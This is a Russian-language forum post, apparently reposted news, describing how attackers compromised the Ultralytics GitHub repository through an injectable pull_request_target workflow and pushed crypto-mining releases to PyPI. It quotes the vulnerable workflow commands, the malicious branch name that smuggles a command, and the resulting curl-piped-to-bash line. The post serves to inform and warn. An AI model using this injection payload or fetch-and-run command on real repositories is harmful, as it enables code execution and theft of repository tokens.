GitHub в огне: хакеры заразили библиотеку Ultralytics

Добро пожаловать на наш форум!

Спасибо за посещение нашего сообщества. Пожалуйста, зарегистрируйтесь или войдите, чтобы получить доступ ко всем функциям.


Gibby

Автор
Команда проекта

Регистрация
Сообщений
855
Репутация
32
Сделок
Всего одна строка кода открыла доступ к миллионам загрузок.

6.jpg
Репозиторий Python-библиотеки Ultralytics, широко используемой в задачах компьютерного зрения, подвергся атаке , в результате которой злоумышленники получили возможность выполнять код с привилегиями обработчика GitHub Actions. Воспользовавшись этой уязвимостью, они разместили на PyPI вредоносные версии библиотеки, предназначенные для майнинга криптовалюты.

Уязвимость была связана с пакетом ultralytics-actions, который автоматизирует запуск обработчиков при определённых действиях в репозитории. Для этого и используется механизм GitHub Actions. В проекте Ultralytics обработчик, привязанный к событию pull_request_target, вызывал файл format.yml для форматирования кода в поступающих pull-запросах. В этом файле выполнялись shell-команды с шаблонами подстановки, такими как:

Код:
git pull origin ${{ github.head_ref || github.ref }}
    
      git config --global user.name "${{ inputs.github_username }}"
    
      git config --global user.email "${{ inputs.github_email }}"

Злоумышленники отправили pull-запрос в репозиторий Ultralytics, указав в качестве имени ветки следующую строку:

Код:
openimbot:$({curl,-sSfL,raw.githubusercontent.com/ultralytics/ultralytics/12e4f54ca3f2e69bcdc900d1c6e16642ca8ae545/file.sh}${IFS}|${IFS}bash)

Это привело к выполнению команды:

Код:
curl -sSfL raw.githubusercontent.com/.../file.sh | bash

В результате атакующие получили доступ к токенам репозитория и другим конфиденциальным данным. Предполагается, что они изменили обработчик publish.yml, убрав проверку учётной записи, с которой разрешено публиковать релизы на PyPI, и использовали технику отравления сборочного кэша GitHub Actions для внедрения своих данных в релиз.

Первый вредоносный релиз Ultralytics версии 8.3.41 был опубликован на PyPI 4 декабря в 23:51 (MSK) и удалён в 12:15 следующего дня. В 15:47 был размещён ещё один релиз 8.3.42, который удалили в 16:47. Таким образом, вредоносные версии были доступны для загрузки около 13 часов. В этих выпусках содержался код, загружающий с внешнего сервера компонент XMRig для майнинга.

Разработчики оперативно устранили проблему и выпустили корректирующие релизы 8.3.43 и 8.3.44. Однако спустя два дня злоумышленники вновь опубликовали вредоносные релизы 8.3.45 и 8.3.46, включающие другой код. До завершения расследования пользователям рекомендуют воздержаться от установки новых версий и зафиксировать в зависимостях выпуск 8.3.44.
 
Сверху